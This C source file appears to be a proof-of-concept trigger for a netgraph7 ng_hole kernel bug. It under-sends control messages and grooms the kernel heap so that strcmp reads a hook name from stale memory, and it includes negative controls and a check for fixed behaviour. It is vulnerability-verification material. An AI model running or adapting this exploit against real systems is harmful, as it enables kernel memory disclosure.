/*
 * DF-3558 trigger -- netgraph7 ng_hole: ng_findhook() strcmp walks past the
 * kmalloc'd ng_mesg buffer when the control message is under-sent
 * (header.arglen == NG_HOOKSIZ == 32 but fewer than 32 data bytes actually
 * sent; ngc_send() kmallocs len+1 with NO arglen-vs-len validation --
 * ng_socket.c:261-262, ng_base.c:3007-3027).
 *
 * ngh_rcvmsg (ng_hole.c:163-168) checks ONLY arglen == NG_HOOKSIZ, then
 * passes (char *)msg->data to ng_findhook() -> strcmp against every stored
 * hook name.  With zero data bytes sent, msg->data[] is 100% stale heap
 * residue of the same kmalloc zone (64-byte class: header-only = 57 -> 64).
 *
 * Demonstration:
 *   1. hole node H with hook "abcde1" (6 chars + NUL = 7 bytes at msg offset
 *      56).  Push one data packet through it (frames=1, octets=5).
 *   2. GROOM: a getstats request with arglen=32 but only 7 real data bytes
 *      "abcde1\0" (kmalloc 56+7+1 = 64 -> same 64-byte zone chunk) -- legal
 *      match on its own bytes; when freed the chunk retains "abcde1\0".
 *   3. ATTACK: a getstats request with arglen=32 and ZERO data bytes
 *      (kmalloc 57 -> same 64-byte zone).  If the allocator hands back the
 *      just-freed chunk, strcmp matches the stale "abcde1\0" that lives
 *      ENTIRELY past the bytes we supplied -> a stats response with
 *      frames=1/octets=5 comes back.  Correct behavior would be a plain
 *      ENOENT/EINVAL: we supplied no hook name at all.
 *
 * The grooming loop runs 256 rounds; ANY round returning stats proves the
 * kernel completed the string from out-of-bounds heap memory.
 *
 * Also demonstrates (negative controls):
 *   - well-formed 32-byte request with proper NUL -> normal stats (sanity)
 *   - full-length 32-byte unterminated "abcde1XXXXX..." -> ENOENT (the
 *     in-bounds unterminated case can never match: stored hook names are
 *     NUL-terminated within 31 chars, so strcmp stops at or before data[31];
 *     the OOB requires the under-sent variant, i.e. the DF-0534 enabler).
 *
 * Root-only (ngc_attach caps_priv_check -> EPERM for uid != 0).
 *
 * Build: cc -O2 -o hole_oob hole_oob.c
 * Run (root; netgraph.ko + ng_socket.ko + ng_hole.ko loaded): ./hole_oob
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_DATA			1
#define NG_VERSION		8
#define GEN_COOKIE		1137070366	/* NGM_GENERIC_COOKIE */
#define HOLE_COOKIE		915433206	/* NGM_HOLE_COOKIE */
#define FLOW_COOKIE		851672669	/* NGM_FLOW_COOKIE */
#define NGM_MKPEER		2
#define NGM_NAME		4
#define NGM_RMHOOK		5
#define NGM_HOLE_GET_STATS	1

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32

#define HDRSZ			56	/* sizeof(struct ng_msghdr), ng7 */

struct ngm_hdr_ {
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
/* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

#define HOOKNAME "abcde1"		/* 6 chars + NUL = 7 bytes */

static u_int32_t tok = 0x5800;
static u_int32_t last_tok;
static int cs, ds;

/*
 * ngc_ex: send a control message; dlen = bytes of m.data actually sent
 * (may be less than the arglen claimed in the header -- that lie is the
 * bug input).  Returns 0, or -errno (ng7 returns the node handler's error
 * synchronously via sendto, e.g. ENOENT when ng_hole finds no matching
 * hook).  The token used is left in last_tok.
 */
static int
ngc_ex(const char *path, u_int cookie, u_int cmd, const void *arg,
    u_int arglen, u_int dlen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	last_tok = ++tok;
	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;	/* the claim */
	m.header.cmd = cmd;
	m.header.token = last_tok;
	m.header.typecookie = cookie;
	if (dlen)
		memcpy(m.data, arg, dlen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, HDRSZ + dlen, 0, (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-errno);	/* e.g. ENOENT: ng_hole found no hook */
	return (0);
}

static int
ngc(const char *path, u_int cookie, u_int cmd, const void *arg, u_int arglen)
{
	return (ngc_ex(path, cookie, cmd, arg, arglen, arglen));
}

/*
 * Wait up to 400ms for a response to token `want`.
 * Returns 0 + stats on a matching response;
 * -1 = timeout (ng_hole sends NO response when the hook is not found:
 *        NG_RESPOND_MSG with resp==NULL just frees the item);
 * -2 = response with wrong token (stray).
 */
static int
resp_wait(u_int32_t want, u_int64_t *frames, u_int64_t *octets)
{
	struct pollfd pfd;
	struct ng_mesg_ m;
	int n;

	pfd.fd = cs;
	pfd.events = POLLIN;
	n = poll(&pfd, 1, 400);
	if (n <= 0)
		return (-1);
	n = recv(cs, &m, sizeof(m), MSG_DONTWAIT);
	if (n < (int)HDRSZ)
		return (-1);
	if (m.header.token != want)
		return (-2);
	*frames = *(u_int64_t *)&m.data[0];
	*octets = *(u_int64_t *)&m.data[8];
	return (0);
}

#define STEP(msg) do { printf("STEP %s\n", msg); fflush(stdout); } while (0)
#define FAIL(what) do { printf("RESULT %s errno=%d (%s)\n", what, errno, \
    strerror(errno)); fflush(stdout); exit(1); } while (0)

int
main(void)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct sockaddr_ng_ sa;
	u_int64_t frames, octets;
	u_int32_t rt;
	char buf[64];
	u_int i, oob_match = 0, enoent = 0, other = 0, rejected = 0;
	char big[32];
	int r;

	printf("hole_oob: uid=%d\n", getuid());
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n", errno,
		    strerror(errno));
		exit(0);
	}

	/* name the socket node so absolute paths are available */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "oob");
	if (ngc(".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		FAIL("name(self)");
	STEP("socket node named oob");

	/* data socket shares the ctrl node */
	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0)
		FAIL("data socket");
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "oob:");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0)
		FAIL("connect data socket");
	STEP("data socket connected to oob");

	/* mkpeer hole: S.a <-> hole.HOOKNAME */
	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "hole");
	strcpy(mkp.ourhook, "a");
	strcpy(mkp.peerhook, HOOKNAME);
	if (ngc(".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
		FAIL("mkpeer hole");
	STEP("mkpeer hole S.a<->hole." HOOKNAME);

	/* push one 5-byte packet through the hook: frames=1 octets=5 */
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "a");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (sendto(ds, "PING!", 5, 0, (struct sockaddr *)&sa, sa.sg_len) < 0)
		FAIL("sendto data");
	STEP("sent 5-byte packet into hole hook");

	/* sanity: well-formed request, NUL-terminated inside 32 bytes */
	memset(big, 0, sizeof(big));
	memcpy(big, HOOKNAME, sizeof(HOOKNAME));	/* includes NUL */
	rt = ngc_ex("a", HOLE_COOKIE, NGM_HOLE_GET_STATS, big, 32, 32);
	if (rt != 0)
		FAIL("getstats wellformed send");
	rt = last_tok;
	r = resp_wait(rt, &frames, &octets);
	if (r != 0)
		FAIL("getstats wellformed resp");
	printf("STEP sanity getstats: token=%u frames=%llu octets=%llu\n",
	    (u_int)rt, (unsigned long long)frames, (unsigned long long)octets);
	fflush(stdout);
	if (frames != 1 || octets != 5)
		FAIL("unexpected stats");

	/* negative control: full-length unterminated -- must NOT match */
	memset(big, 'x', sizeof(big));
	memcpy(big, HOOKNAME, strlen(HOOKNAME));	/* "abcde1xxxxx..." */
	r = ngc_ex("a", HOLE_COOKIE, NGM_HOLE_GET_STATS, big, 32, 32);
	if (r == 0)
		FAIL("full-length unterminated unexpectedly matched");
	enoent++;
	printf("STEP negative control: unterminated full-length -> "
	    "sendto errno=%d (-errno=%d, ENOENT=2 = no match)\n",
	    -r, r);
	fflush(stdout);

	/* the attack loop */
	for (i = 0; i < 256; i++) {
		/* groom: 7 real bytes incl. NUL, kmalloc(56+7+1)=64 */
		r = ngc_ex("a", HOLE_COOKIE, NGM_HOLE_GET_STATS,
		    HOOKNAME "\0", 32, 7);
		if (r == -EINVAL) {		/* fixed socket rejects the lie */
			rejected++;
			continue;
		}
		if (r != 0)
			FAIL("groom send");
		r = resp_wait(last_tok, &frames, &octets); /* free groom resp */
		if (r != 0)
			FAIL("groom resp");

		/* attack: ZERO data bytes, kmalloc(56+0+1)=57 -> same zone */
		r = ngc_ex("a", HOLE_COOKIE, NGM_HOLE_GET_STATS, NULL, 32, 0);
		if (r == -EINVAL) {
			rejected++;
			continue;
		}
		if (r == 0) {
			/* sendto itself succeeded: the handler matched
			 * something -- confirm via the stats response */
			if (resp_wait(last_tok, &frames, &octets) == 0 &&
			    frames == 1 && octets == 5)
				oob_match++;
			else
				other++;
		} else if (r == -ENOENT)
			enoent++;
		else
			other++;
	}
	printf("RESULT oob_matches=%u/256 enoent=%u rejected=%u other=%u\n",
	    oob_match, enoent, rejected, other);
	printf("%s\n", oob_match ?
	    "RESULT OOB-READ PROVEN: stats returned for a request that "
	    "supplied ZERO hook-name bytes (kernel strcmp completed the "
	    "name from stale heap past the sent payload)" :
	    (rejected ? "RESULT fixed behavior: under-sent requests rejected "
	    "with EINVAL at the socket (no OOB possible)" :
	    "RESULT no oob match (allocator did not reuse; see notes)"));
	fflush(stdout);
	return (0);
}
